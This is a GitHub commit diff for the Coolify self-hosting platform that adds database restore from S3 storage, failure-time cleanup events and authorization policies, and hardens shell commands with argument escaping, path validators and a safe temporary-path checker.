v4.0.0-beta.447 (#7332)

This commit is contained in:
Andras Bacsai 2025-11-25 16:44:10 +01:00 committed by GitHub
commit 813afc0662
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
42 changed files with 2866 additions and 409 deletions

View file

@ -17,17 +17,23 @@ public function __construct($data)
$tmpPath = data_get($data, 'tmpPath');
$container = data_get($data, 'container');
$serverId = data_get($data, 'serverId');
if (filled($scriptPath) && filled($tmpPath) && filled($container) && filled($serverId)) {
if (str($tmpPath)->startsWith('/tmp/')
&& str($scriptPath)->startsWith('/tmp/')
&& ! str($tmpPath)->contains('..')
&& ! str($scriptPath)->contains('..')
&& strlen($tmpPath) > 5 // longer than just "/tmp/"
&& strlen($scriptPath) > 5
) {
$commands[] = "docker exec {$container} sh -c 'rm {$scriptPath}'";
$commands[] = "docker exec {$container} sh -c 'rm {$tmpPath}'";
instant_remote_process($commands, Server::find($serverId), throwError: true);
if (filled($container) && filled($serverId)) {
$commands = [];
if (isSafeTmpPath($scriptPath)) {
$commands[] = 'docker exec '.escapeshellarg($container)." sh -c 'rm ".escapeshellarg($scriptPath)." 2>/dev/null || true'";
}
if (isSafeTmpPath($tmpPath)) {
$commands[] = 'docker exec '.escapeshellarg($container)." sh -c 'rm ".escapeshellarg($tmpPath)." 2>/dev/null || true'";
}
if (! empty($commands)) {
$server = Server::find($serverId);
if ($server) {
instant_remote_process($commands, $server, throwError: false);
}
}
}
}

View file

@ -0,0 +1,56 @@
<?php
namespace App\Events;
use App\Models\Server;
use Illuminate\Broadcasting\InteractsWithSockets;
use Illuminate\Foundation\Events\Dispatchable;
use Illuminate\Queue\SerializesModels;
class S3RestoreJobFinished
{
use Dispatchable, InteractsWithSockets, SerializesModels;
public function __construct($data)
{
$containerName = data_get($data, 'containerName');
$serverTmpPath = data_get($data, 'serverTmpPath');
$scriptPath = data_get($data, 'scriptPath');
$containerTmpPath = data_get($data, 'containerTmpPath');
$container = data_get($data, 'container');
$serverId = data_get($data, 'serverId');
// Most cleanup now happens inline during restore process
// This acts as a safety net for edge cases (errors, interruptions)
if (filled($serverId)) {
$commands = [];
// Ensure helper container is removed (may already be gone from inline cleanup)
if (filled($containerName)) {
$commands[] = 'docker rm -f '.escapeshellarg($containerName).' 2>/dev/null || true';
}
// Clean up server temp file if still exists (should already be cleaned)
if (isSafeTmpPath($serverTmpPath)) {
$commands[] = 'rm -f '.escapeshellarg($serverTmpPath).' 2>/dev/null || true';
}
// Clean up any remaining files in database container (may already be cleaned)
if (filled($container)) {
if (isSafeTmpPath($containerTmpPath)) {
$commands[] = 'docker exec '.escapeshellarg($container).' rm -f '.escapeshellarg($containerTmpPath).' 2>/dev/null || true';
}
if (isSafeTmpPath($scriptPath)) {
$commands[] = 'docker exec '.escapeshellarg($container).' rm -f '.escapeshellarg($scriptPath).' 2>/dev/null || true';
}
}
if (! empty($commands)) {
$server = Server::find($serverId);
if ($server) {
instant_remote_process($commands, $server, throwError: false);
}
}
}
}
}

View file

@ -90,5 +90,22 @@ public function failed(?\Throwable $exception): void
'failed_at' => now()->toIso8601String(),
]);
$this->activity->save();
// Dispatch cleanup event on failure (same as on success)
if ($this->call_event_on_finish) {
try {
$eventClass = "App\\Events\\$this->call_event_on_finish";
if (! is_null($this->call_event_data)) {
event(new $eventClass($this->call_event_data));
} else {
event(new $eventClass($this->activity->causer_id));
}
Log::info('Cleanup event dispatched after job failure', [
'event' => $this->call_event_on_finish,
]);
} catch (\Throwable $e) {
Log::error('Error dispatching cleanup event on failure: '.$e->getMessage());
}
}
}
}

View file

@ -639,7 +639,13 @@ private function upload_to_s3(): void
} else {
$commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $this->backup_location:$this->backup_location:ro {$fullImageName}";
}
$commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc alias set temporary {$endpoint} {$key} \"{$secret}\"";
// Escape S3 credentials to prevent command injection
$escapedEndpoint = escapeshellarg($endpoint);
$escapedKey = escapeshellarg($key);
$escapedSecret = escapeshellarg($secret);
$commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc alias set temporary {$escapedEndpoint} {$escapedKey} {$escapedSecret}";
$commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc cp $this->backup_location temporary/$bucket{$this->backup_dir}/";
instant_remote_process($commands, $this->server);

View file

@ -2,6 +2,7 @@
namespace App\Livewire\Project\Database;
use App\Models\S3Storage;
use App\Models\Server;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Illuminate\Support\Facades\Auth;
@ -12,6 +13,92 @@ class Import extends Component
{
use AuthorizesRequests;
/**
* Validate that a string is safe for use as an S3 bucket name.
* Allows alphanumerics, dots, dashes, and underscores.
*/
private function validateBucketName(string $bucket): bool
{
return preg_match('/^[a-zA-Z0-9.\-_]+$/', $bucket) === 1;
}
/**
* Validate that a string is safe for use as an S3 path.
* Allows alphanumerics, dots, dashes, underscores, slashes, and common file characters.
*/
private function validateS3Path(string $path): bool
{
// Must not be empty
if (empty($path)) {
return false;
}
// Must not contain dangerous shell metacharacters or command injection patterns
$dangerousPatterns = [
'..', // Directory traversal
'$(', // Command substitution
'`', // Backtick command substitution
'|', // Pipe
';', // Command separator
'&', // Background/AND
'>', // Redirect
'<', // Redirect
"\n", // Newline
"\r", // Carriage return
"\0", // Null byte
"'", // Single quote
'"', // Double quote
'\\', // Backslash
];
foreach ($dangerousPatterns as $pattern) {
if (str_contains($path, $pattern)) {
return false;
}
}
// Allow alphanumerics, dots, dashes, underscores, slashes, spaces, plus, equals, at
return preg_match('/^[a-zA-Z0-9.\-_\/\s+@=]+$/', $path) === 1;
}
/**
* Validate that a string is safe for use as a file path on the server.
*/
private function validateServerPath(string $path): bool
{
// Must be an absolute path
if (! str_starts_with($path, '/')) {
return false;
}
// Must not contain dangerous shell metacharacters or command injection patterns
$dangerousPatterns = [
'..', // Directory traversal
'$(', // Command substitution
'`', // Backtick command substitution
'|', // Pipe
';', // Command separator
'&', // Background/AND
'>', // Redirect
'<', // Redirect
"\n", // Newline
"\r", // Carriage return
"\0", // Null byte
"'", // Single quote
'"', // Double quote
'\\', // Backslash
];
foreach ($dangerousPatterns as $pattern) {
if (str_contains($path, $pattern)) {
return false;
}
}
// Allow alphanumerics, dots, dashes, underscores, slashes, and spaces
return preg_match('/^[a-zA-Z0-9.\-_\/\s]+$/', $path) === 1;
}
public bool $unsupported = false;
public $resource;
@ -54,6 +141,15 @@ class Import extends Component
public string $mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
// S3 Restore properties
public $availableS3Storages = [];
public ?int $s3StorageId = null;
public string $s3Path = '';
public ?int $s3FileSize = null;
public function getListeners()
{
$userId = Auth::id();
@ -65,11 +161,9 @@ public function getListeners()
public function mount()
{
if (isDev()) {
$this->customLocation = '/data/coolify/pg-dump-all-1736245863.gz';
}
$this->parameters = get_route_parameters();
$this->getContainers();
$this->loadAvailableS3Storages();
}
public function updatedDumpAll($value)
@ -152,8 +246,16 @@ public function getContainers()
public function checkFile()
{
if (filled($this->customLocation)) {
// Validate the custom location to prevent command injection
if (! $this->validateServerPath($this->customLocation)) {
$this->dispatch('error', 'Invalid file path. Path must be absolute and contain only safe characters (alphanumerics, dots, dashes, underscores, slashes).');
return;
}
try {
$result = instant_remote_process(["ls -l {$this->customLocation}"], $this->server, throwError: false);
$escapedPath = escapeshellarg($this->customLocation);
$result = instant_remote_process(["ls -l {$escapedPath}"], $this->server, throwError: false);
if (blank($result)) {
$this->dispatch('error', 'The file does not exist or has been deleted.');
@ -179,59 +281,35 @@ public function runImport()
try {
$this->importRunning = true;
$this->importCommands = [];
if (filled($this->customLocation)) {
$backupFileName = '/tmp/restore_'.$this->resource->uuid;
$this->importCommands[] = "docker cp {$this->customLocation} {$this->container}:{$backupFileName}";
$tmpPath = $backupFileName;
} else {
$backupFileName = "upload/{$this->resource->uuid}/restore";
$path = Storage::path($backupFileName);
if (! Storage::exists($backupFileName)) {
$this->dispatch('error', 'The file does not exist or has been deleted.');
$backupFileName = "upload/{$this->resource->uuid}/restore";
return;
}
// Check if an uploaded file exists first (takes priority over custom location)
if (Storage::exists($backupFileName)) {
$path = Storage::path($backupFileName);
$tmpPath = '/tmp/'.basename($backupFileName).'_'.$this->resource->uuid;
instant_scp($path, $tmpPath, $this->server);
Storage::delete($backupFileName);
$this->importCommands[] = "docker cp {$tmpPath} {$this->container}:{$tmpPath}";
} elseif (filled($this->customLocation)) {
// Validate the custom location to prevent command injection
if (! $this->validateServerPath($this->customLocation)) {
$this->dispatch('error', 'Invalid file path. Path must be absolute and contain only safe characters.');
return;
}
$tmpPath = '/tmp/restore_'.$this->resource->uuid;
$escapedCustomLocation = escapeshellarg($this->customLocation);
$this->importCommands[] = "docker cp {$escapedCustomLocation} {$this->container}:{$tmpPath}";
} else {
$this->dispatch('error', 'The file does not exist or has been deleted.');
return;
}
// Copy the restore command to a script file
$scriptPath = "/tmp/restore_{$this->resource->uuid}.sh";
switch ($this->resource->getMorphClass()) {
case \App\Models\StandaloneMariadb::class:
$restoreCommand = $this->mariadbRestoreCommand;
if ($this->dumpAll) {
$restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | mariadb -u root -p\$MARIADB_ROOT_PASSWORD";
} else {
$restoreCommand .= " < {$tmpPath}";
}
break;
case \App\Models\StandaloneMysql::class:
$restoreCommand = $this->mysqlRestoreCommand;
if ($this->dumpAll) {
$restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | mysql -u root -p\$MYSQL_ROOT_PASSWORD";
} else {
$restoreCommand .= " < {$tmpPath}";
}
break;
case \App\Models\StandalonePostgresql::class:
$restoreCommand = $this->postgresqlRestoreCommand;
if ($this->dumpAll) {
$restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | psql -U \$POSTGRES_USER postgres";
} else {
$restoreCommand .= " {$tmpPath}";
}
break;
case \App\Models\StandaloneMongodb::class:
$restoreCommand = $this->mongodbRestoreCommand;
if ($this->dumpAll === false) {
$restoreCommand .= "{$tmpPath}";
}
break;
}
$restoreCommand = $this->buildRestoreCommand($tmpPath);
$restoreCommandBase64 = base64_encode($restoreCommand);
$this->importCommands[] = "echo \"{$restoreCommandBase64}\" | base64 -d > {$scriptPath}";
@ -248,7 +326,10 @@ public function runImport()
'container' => $this->container,
'serverId' => $this->server->id,
]);
// Dispatch activity to the monitor and open slide-over
$this->dispatch('activityMonitor', $activity->id);
$this->dispatch('databaserestore');
}
} catch (\Throwable $e) {
return handleError($e, $this);
@ -257,4 +338,264 @@ public function runImport()
$this->importCommands = [];
}
}
public function loadAvailableS3Storages()
{
try {
$this->availableS3Storages = S3Storage::ownedByCurrentTeam(['id', 'name', 'description'])
->where('is_usable', true)
->get();
} catch (\Throwable $e) {
$this->availableS3Storages = collect();
}
}
public function updatedS3Path($value)
{
// Reset validation state when path changes
$this->s3FileSize = null;
// Ensure path starts with a slash
if ($value !== null && $value !== '') {
$this->s3Path = str($value)->trim()->start('/')->value();
}
}
public function updatedS3StorageId()
{
// Reset validation state when storage changes
$this->s3FileSize = null;
}
public function checkS3File()
{
if (! $this->s3StorageId) {
$this->dispatch('error', 'Please select an S3 storage.');
return;
}
if (blank($this->s3Path)) {
$this->dispatch('error', 'Please provide an S3 path.');
return;
}
// Clean the path (remove leading slash if present)
$cleanPath = ltrim($this->s3Path, '/');
// Validate the S3 path early to prevent command injection in subsequent operations
if (! $this->validateS3Path($cleanPath)) {
$this->dispatch('error', 'Invalid S3 path. Path must contain only safe characters (alphanumerics, dots, dashes, underscores, slashes).');
return;
}
try {
$s3Storage = S3Storage::ownedByCurrentTeam()->findOrFail($this->s3StorageId);
// Validate bucket name early
if (! $this->validateBucketName($s3Storage->bucket)) {
$this->dispatch('error', 'Invalid S3 bucket name. Bucket name must contain only alphanumerics, dots, dashes, and underscores.');
return;
}
// Test connection
$s3Storage->testConnection();
// Build S3 disk configuration
$disk = Storage::build([
'driver' => 's3',
'region' => $s3Storage->region,
'key' => $s3Storage->key,
'secret' => $s3Storage->secret,
'bucket' => $s3Storage->bucket,
'endpoint' => $s3Storage->endpoint,
'use_path_style_endpoint' => true,
]);
// Check if file exists
if (! $disk->exists($cleanPath)) {
$this->dispatch('error', 'File not found in S3. Please check the path.');
return;
}
// Get file size
$this->s3FileSize = $disk->size($cleanPath);
$this->dispatch('success', 'File found in S3. Size: '.formatBytes($this->s3FileSize));
} catch (\Throwable $e) {
$this->s3FileSize = null;
return handleError($e, $this);
}
}
public function restoreFromS3()
{
$this->authorize('update', $this->resource);
if (! $this->s3StorageId || blank($this->s3Path)) {
$this->dispatch('error', 'Please select S3 storage and provide a path first.');
return;
}
if (is_null($this->s3FileSize)) {
$this->dispatch('error', 'Please check the file first by clicking "Check File".');
return;
}
try {
$this->importRunning = true;
$s3Storage = S3Storage::ownedByCurrentTeam()->findOrFail($this->s3StorageId);
$key = $s3Storage->key;
$secret = $s3Storage->secret;
$bucket = $s3Storage->bucket;
$endpoint = $s3Storage->endpoint;
// Validate bucket name to prevent command injection
if (! $this->validateBucketName($bucket)) {
$this->dispatch('error', 'Invalid S3 bucket name. Bucket name must contain only alphanumerics, dots, dashes, and underscores.');
return;
}
// Clean the S3 path
$cleanPath = ltrim($this->s3Path, '/');
// Validate the S3 path to prevent command injection
if (! $this->validateS3Path($cleanPath)) {
$this->dispatch('error', 'Invalid S3 path. Path must contain only safe characters (alphanumerics, dots, dashes, underscores, slashes).');
return;
}
// Get helper image
$helperImage = config('constants.coolify.helper_image');
$latestVersion = getHelperVersion();
$fullImageName = "{$helperImage}:{$latestVersion}";
// Get the database destination network
$destinationNetwork = $this->resource->destination->network ?? 'coolify';
// Generate unique names for this operation
$containerName = "s3-restore-{$this->resource->uuid}";
$helperTmpPath = '/tmp/'.basename($cleanPath);
$serverTmpPath = "/tmp/s3-restore-{$this->resource->uuid}-".basename($cleanPath);
$containerTmpPath = "/tmp/restore_{$this->resource->uuid}-".basename($cleanPath);
$scriptPath = "/tmp/restore_{$this->resource->uuid}.sh";
// Prepare all commands in sequence
$commands = [];
// 1. Clean up any existing helper container and temp files from previous runs
$commands[] = "docker rm -f {$containerName} 2>/dev/null || true";
$commands[] = "rm -f {$serverTmpPath} 2>/dev/null || true";
$commands[] = "docker exec {$this->container} rm -f {$containerTmpPath} {$scriptPath} 2>/dev/null || true";
// 2. Start helper container on the database network
$commands[] = "docker run -d --network {$destinationNetwork} --name {$containerName} {$fullImageName} sleep 3600";
// 3. Configure S3 access in helper container
$escapedEndpoint = escapeshellarg($endpoint);
$escapedKey = escapeshellarg($key);
$escapedSecret = escapeshellarg($secret);
$commands[] = "docker exec {$containerName} mc alias set s3temp {$escapedEndpoint} {$escapedKey} {$escapedSecret}";
// 4. Check file exists in S3 (bucket and path already validated above)
$escapedBucket = escapeshellarg($bucket);
$escapedCleanPath = escapeshellarg($cleanPath);
$escapedS3Source = escapeshellarg("s3temp/{$bucket}/{$cleanPath}");
$commands[] = "docker exec {$containerName} mc stat {$escapedS3Source}";
// 5. Download from S3 to helper container (progress shown by default)
$escapedHelperTmpPath = escapeshellarg($helperTmpPath);
$commands[] = "docker exec {$containerName} mc cp {$escapedS3Source} {$escapedHelperTmpPath}";
// 6. Copy from helper to server, then immediately to database container
$commands[] = "docker cp {$containerName}:{$helperTmpPath} {$serverTmpPath}";
$commands[] = "docker cp {$serverTmpPath} {$this->container}:{$containerTmpPath}";
// 7. Cleanup helper container and server temp file immediately (no longer needed)
$commands[] = "docker rm -f {$containerName} 2>/dev/null || true";
$commands[] = "rm -f {$serverTmpPath} 2>/dev/null || true";
// 8. Build and execute restore command inside database container
$restoreCommand = $this->buildRestoreCommand($containerTmpPath);
$restoreCommandBase64 = base64_encode($restoreCommand);
$commands[] = "echo \"{$restoreCommandBase64}\" | base64 -d > {$scriptPath}";
$commands[] = "chmod +x {$scriptPath}";
$commands[] = "docker cp {$scriptPath} {$this->container}:{$scriptPath}";
// 9. Execute restore and cleanup temp files immediately after completion
$commands[] = "docker exec {$this->container} sh -c '{$scriptPath} && rm -f {$containerTmpPath} {$scriptPath}'";
$commands[] = "docker exec {$this->container} sh -c 'echo \"Import finished with exit code $?\"'";
// Execute all commands with cleanup event (as safety net for edge cases)
$activity = remote_process($commands, $this->server, ignore_errors: true, callEventOnFinish: 'S3RestoreJobFinished', callEventData: [
'containerName' => $containerName,
'serverTmpPath' => $serverTmpPath,
'scriptPath' => $scriptPath,
'containerTmpPath' => $containerTmpPath,
'container' => $this->container,
'serverId' => $this->server->id,
]);
// Dispatch activity to the monitor and open slide-over
$this->dispatch('activityMonitor', $activity->id);
$this->dispatch('databaserestore');
$this->dispatch('info', 'Restoring database from S3. Progress will be shown in the activity monitor...');
} catch (\Throwable $e) {
$this->importRunning = false;
return handleError($e, $this);
}
}
public function buildRestoreCommand(string $tmpPath): string
{
switch ($this->resource->getMorphClass()) {
case \App\Models\StandaloneMariadb::class:
$restoreCommand = $this->mariadbRestoreCommand;
if ($this->dumpAll) {
$restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | mariadb -u root -p\$MARIADB_ROOT_PASSWORD";
} else {
$restoreCommand .= " < {$tmpPath}";
}
break;
case \App\Models\StandaloneMysql::class:
$restoreCommand = $this->mysqlRestoreCommand;
if ($this->dumpAll) {
$restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | mysql -u root -p\$MYSQL_ROOT_PASSWORD";
} else {
$restoreCommand .= " < {$tmpPath}";
}
break;
case \App\Models\StandalonePostgresql::class:
$restoreCommand = $this->postgresqlRestoreCommand;
if ($this->dumpAll) {
$restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | psql -U \$POSTGRES_USER postgres";
} else {
$restoreCommand .= " {$tmpPath}";
}
break;
case \App\Models\StandaloneMongodb::class:
$restoreCommand = $this->mongodbRestoreCommand;
if ($this->dumpAll === false) {
$restoreCommand .= "{$tmpPath}";
}
break;
default:
$restoreCommand = '';
}
return $restoreCommand;
}
}

View file

@ -2,8 +2,11 @@
namespace App\Livewire\Project\Shared\EnvironmentVariable;
use App\Models\Environment;
use App\Models\Project;
use App\Traits\EnvironmentVariableAnalyzer;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Livewire\Attributes\Computed;
use Livewire\Component;
class Add extends Component
@ -56,6 +59,72 @@ public function mount()
$this->problematicVariables = self::getProblematicVariablesForFrontend();
}
#[Computed]
public function availableSharedVariables(): array
{
$team = currentTeam();
$result = [
'team' => [],
'project' => [],
'environment' => [],
];
// Early return if no team
if (! $team) {
return $result;
}
// Check if user can view team variables
try {
$this->authorize('view', $team);
$result['team'] = $team->environment_variables()
->pluck('key')
->toArray();
} catch (\Illuminate\Auth\Access\AuthorizationException $e) {
// User not authorized to view team variables
}
// Get project variables if we have a project_uuid in route
$projectUuid = data_get($this->parameters, 'project_uuid');
if ($projectUuid) {
$project = Project::where('team_id', $team->id)
->where('uuid', $projectUuid)
->first();
if ($project) {
try {
$this->authorize('view', $project);
$result['project'] = $project->environment_variables()
->pluck('key')
->toArray();
// Get environment variables if we have an environment_uuid in route
$environmentUuid = data_get($this->parameters, 'environment_uuid');
if ($environmentUuid) {
$environment = $project->environments()
->where('uuid', $environmentUuid)
->first();
if ($environment) {
try {
$this->authorize('view', $environment);
$result['environment'] = $environment->environment_variables()
->pluck('key')
->toArray();
} catch (\Illuminate\Auth\Access\AuthorizationException $e) {
// User not authorized to view environment variables
}
}
}
} catch (\Illuminate\Auth\Access\AuthorizationException $e) {
// User not authorized to view project variables
}
}
}
return $result;
}
public function submit()
{
$this->validate();

View file

@ -44,6 +44,8 @@ class Index extends Component
public bool $forceSaveDomains = false;
public $buildActivityId = null;
public function render()
{
return view('livewire.settings.index');
@ -151,4 +153,37 @@ public function submit()
return handleError($e, $this);
}
}
public function buildHelperImage()
{
try {
if (! isDev()) {
$this->dispatch('error', 'Building helper image is only available in development mode.');
return;
}
$version = $this->dev_helper_version ?: config('constants.coolify.helper_version');
if (empty($version)) {
$this->dispatch('error', 'Please specify a version to build.');
return;
}
$buildCommand = "docker build -t ghcr.io/coollabsio/coolify-helper:{$version} -f docker/coolify-helper/Dockerfile .";
$activity = remote_process(
command: [$buildCommand],
server: $this->server,
type: 'build-helper-image'
);
$this->buildActivityId = $activity->id;
$this->dispatch('activityMonitor', $activity->id);
$this->dispatch('success', "Building coolify-helper:{$version}...");
} catch (\Exception $e) {
return handleError($e, $this);
}
}
}

View file

@ -120,9 +120,16 @@ public function testConnection()
$this->storage->testConnection(shouldSave: true);
// Update component property to reflect the new validation status
$this->isUsable = $this->storage->is_usable;
return $this->dispatch('success', 'Connection is working.', 'Tested with "ListObjectsV2" action.');
} catch (\Throwable $e) {
$this->dispatch('error', 'Failed to create storage.', $e->getMessage());
// Refresh model and sync to get the latest state
$this->storage->refresh();
$this->isUsable = $this->storage->is_usable;
$this->dispatch('error', 'Failed to test connection.', $e->getMessage());
}
}

View file

@ -3,10 +3,13 @@
namespace App\Livewire\Storage;
use App\Models\S3Storage;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Livewire\Component;
class Show extends Component
{
use AuthorizesRequests;
public $storage = null;
public function mount()
@ -15,6 +18,7 @@ public function mount()
if (! $this->storage) {
abort(404);
}
$this->authorize('view', $this->storage);
}
public function render()

View file

@ -3,6 +3,7 @@
namespace App\Models;
use App\Traits\HasSafeStringAttribute;
use Illuminate\Database\Eloquent\Casts\Attribute;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Notifications\Messages\MailMessage;
use Illuminate\Support\Facades\Storage;
@ -41,6 +42,19 @@ public function awsUrl()
return "{$this->endpoint}/{$this->bucket}";
}
protected function path(): Attribute
{
return Attribute::make(
set: function (?string $value) {
if ($value === null || $value === '') {
return null;
}
return str($value)->trim()->start('/')->value();
}
);
}
public function testConnection(bool $shouldSave = false)
{
try {

View file

@ -24,7 +24,8 @@ class WebhookNotificationSettings extends Model
'backup_failure_webhook_notifications',
'scheduled_task_success_webhook_notifications',
'scheduled_task_failure_webhook_notifications',
'docker_cleanup_webhook_notifications',
'docker_cleanup_success_webhook_notifications',
'docker_cleanup_failure_webhook_notifications',
'server_disk_usage_webhook_notifications',
'server_reachable_webhook_notifications',
'server_unreachable_webhook_notifications',
@ -45,7 +46,8 @@ protected function casts(): array
'backup_failure_webhook_notifications' => 'boolean',
'scheduled_task_success_webhook_notifications' => 'boolean',
'scheduled_task_failure_webhook_notifications' => 'boolean',
'docker_cleanup_webhook_notifications' => 'boolean',
'docker_cleanup_success_webhook_notifications' => 'boolean',
'docker_cleanup_failure_webhook_notifications' => 'boolean',
'server_disk_usage_webhook_notifications' => 'boolean',
'server_reachable_webhook_notifications' => 'boolean',
'server_unreachable_webhook_notifications' => 'boolean',

View file

@ -0,0 +1,25 @@
<?php
namespace App\Policies;
use App\Models\InstanceSettings;
use App\Models\User;
class InstanceSettingsPolicy
{
/**
* Determine whether the user can view the instance settings.
*/
public function view(User $user, InstanceSettings $settings): bool
{
return isInstanceAdmin();
}
/**
* Determine whether the user can update the instance settings.
*/
public function update(User $user, InstanceSettings $settings): bool
{
return isInstanceAdmin();
}
}

View file

@ -50,6 +50,9 @@ class AuthServiceProvider extends ServiceProvider
// API Token policy
\Laravel\Sanctum\PersonalAccessToken::class => \App\Policies\ApiTokenPolicy::class,
// Instance settings policy
\App\Models\InstanceSettings::class => \App\Policies\InstanceSettingsPolicy::class,
// Team policy
\App\Models\Team::class => \App\Policies\TeamPolicy::class,

View file

@ -0,0 +1,89 @@
<?php
namespace App\View\Components\Forms;
use Closure;
use Illuminate\Contracts\View\View;
use Illuminate\Support\Facades\Gate;
use Illuminate\View\Component;
use Visus\Cuid2\Cuid2;
class EnvVarInput extends Component
{
public ?string $modelBinding = null;
public ?string $htmlId = null;
public array $scopeUrls = [];
public function __construct(
public ?string $id = null,
public ?string $name = null,
public ?string $type = 'text',
public ?string $value = null,
public ?string $label = null,
public bool $required = false,
public bool $disabled = false,
public bool $readonly = false,
public ?string $helper = null,
public string $defaultClass = 'input',
public string $autocomplete = 'off',
public ?int $minlength = null,
public ?int $maxlength = null,
public bool $autofocus = false,
public ?string $canGate = null,
public mixed $canResource = null,
public bool $autoDisable = true,
public array $availableVars = [],
public ?string $projectUuid = null,
public ?string $environmentUuid = null,
) {
// Handle authorization-based disabling
if ($this->canGate && $this->canResource && $this->autoDisable) {
$hasPermission = Gate::allows($this->canGate, $this->canResource);
if (! $hasPermission) {
$this->disabled = true;
}
}
}
public function render(): View|Closure|string
{
// Store original ID for wire:model binding (property name)
$this->modelBinding = $this->id;
if (is_null($this->id)) {
$this->id = new Cuid2;
// Don't create wire:model binding for auto-generated IDs
$this->modelBinding = 'null';
}
// Generate unique HTML ID by adding random suffix
// This prevents duplicate IDs when multiple forms are on the same page
if ($this->modelBinding && $this->modelBinding !== 'null') {
// Use original ID with random suffix for uniqueness
$uniqueSuffix = new Cuid2;
$this->htmlId = $this->modelBinding.'-'.$uniqueSuffix;
} else {
$this->htmlId = (string) $this->id;
}
if (is_null($this->name)) {
$this->name = $this->modelBinding !== 'null' ? $this->modelBinding : (string) $this->id;
}
$this->scopeUrls = [
'team' => route('shared-variables.team.index'),
'project' => route('shared-variables.project.index'),
'environment' => $this->projectUuid && $this->environmentUuid
? route('shared-variables.environment.show', [
'project_uuid' => $this->projectUuid,
'environment_uuid' => $this->environmentUuid,
])
: route('shared-variables.environment.index'),
'default' => route('shared-variables.index'),
];
return view('components.forms.env-var-input');
}
}

View file

@ -3154,6 +3154,118 @@ function generateDockerComposeServiceName(mixed $services, int $pullRequestId =
return $collection;
}
function formatBytes(?int $bytes, int $precision = 2): string
{
if ($bytes === null || $bytes === 0) {
return '0 B';
}
// Handle negative numbers
if ($bytes < 0) {
return '0 B';
}
$units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];
$base = 1024;
$exponent = floor(log($bytes) / log($base));
$exponent = min($exponent, count($units) - 1);
$value = $bytes / pow($base, $exponent);
return round($value, $precision).' '.$units[$exponent];
}
/**
* Validates that a file path is safely within the /tmp/ directory.
* Protects against path traversal attacks by resolving the real path
* and verifying it stays within /tmp/.
*
* Note: On macOS, /tmp is often a symlink to /private/tmp, which is handled.
*/
function isSafeTmpPath(?string $path): bool
{
if (blank($path)) {
return false;
}
// URL decode to catch encoded traversal attempts
$decodedPath = urldecode($path);
// Minimum length check - /tmp/x is 6 chars
if (strlen($decodedPath) < 6) {
return false;
}
// Must start with /tmp/
if (! str($decodedPath)->startsWith('/tmp/')) {
return false;
}
// Quick check for obvious traversal attempts
if (str($decodedPath)->contains('..')) {
return false;
}
// Check for null bytes (directory traversal technique)
if (str($decodedPath)->contains("\0")) {
return false;
}
// Remove any trailing slashes for consistent validation
$normalizedPath = rtrim($decodedPath, '/');
// Normalize the path by removing redundant separators and resolving . and ..
// We'll do this manually since realpath() requires the path to exist
$parts = explode('/', $normalizedPath);
$resolvedParts = [];
foreach ($parts as $part) {
if ($part === '' || $part === '.') {
// Skip empty parts (from //) and current directory references
continue;
} elseif ($part === '..') {
// Parent directory - this should have been caught earlier but double-check
return false;
} else {
$resolvedParts[] = $part;
}
}
$resolvedPath = '/'.implode('/', $resolvedParts);
// Final check: resolved path must start with /tmp/
// And must have at least one component after /tmp/
if (! str($resolvedPath)->startsWith('/tmp/') || $resolvedPath === '/tmp') {
return false;
}
// Resolve the canonical /tmp path (handles symlinks like /tmp -> /private/tmp on macOS)
$canonicalTmpPath = realpath('/tmp');
if ($canonicalTmpPath === false) {
// If /tmp doesn't exist, something is very wrong, but allow non-existing paths
$canonicalTmpPath = '/tmp';
}
// Calculate dirname once to avoid redundant calls
$dirPath = dirname($resolvedPath);
// If the directory exists, resolve it via realpath to catch symlink attacks
if (is_dir($dirPath)) {
// For existing paths, resolve to absolute path to catch symlinks
$realDir = realpath($dirPath);
if ($realDir === false) {
return false;
}
// Check if the real directory is within /tmp (or its canonical path)
if (! str($realDir)->startsWith('/tmp') && ! str($realDir)->startsWith($canonicalTmpPath)) {
return false;
}
}
return true;
}
/**
* Transform colon-delimited status format to human-readable parentheses format.
*

View file

@ -2,7 +2,7 @@
return [
'coolify' => [
'version' => '4.0.0-beta.446',
'version' => '4.0.0-beta.447',
'helper_version' => '1.0.12',
'realtime_version' => '1.0.10',
'self_hosted' => env('SELF_HOSTED', true),

View file

@ -1,47 +0,0 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Support\Facades\DB;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
$teams = DB::table('teams')->get();
foreach ($teams as $team) {
DB::table('webhook_notification_settings')->updateOrInsert(
['team_id' => $team->id],
[
'webhook_enabled' => false,
'webhook_url' => null,
'deployment_success_webhook_notifications' => false,
'deployment_failure_webhook_notifications' => true,
'status_change_webhook_notifications' => false,
'backup_success_webhook_notifications' => false,
'backup_failure_webhook_notifications' => true,
'scheduled_task_success_webhook_notifications' => false,
'scheduled_task_failure_webhook_notifications' => true,
'docker_cleanup_success_webhook_notifications' => false,
'docker_cleanup_failure_webhook_notifications' => true,
'server_disk_usage_webhook_notifications' => true,
'server_reachable_webhook_notifications' => false,
'server_unreachable_webhook_notifications' => true,
'server_patch_webhook_notifications' => false,
]
);
}
}
/**
* Reverse the migrations.
*/
public function down(): void
{
// We don't need to do anything in down() since the webhook_notification_settings
// table will be dropped by the create migration's down() method
}
};

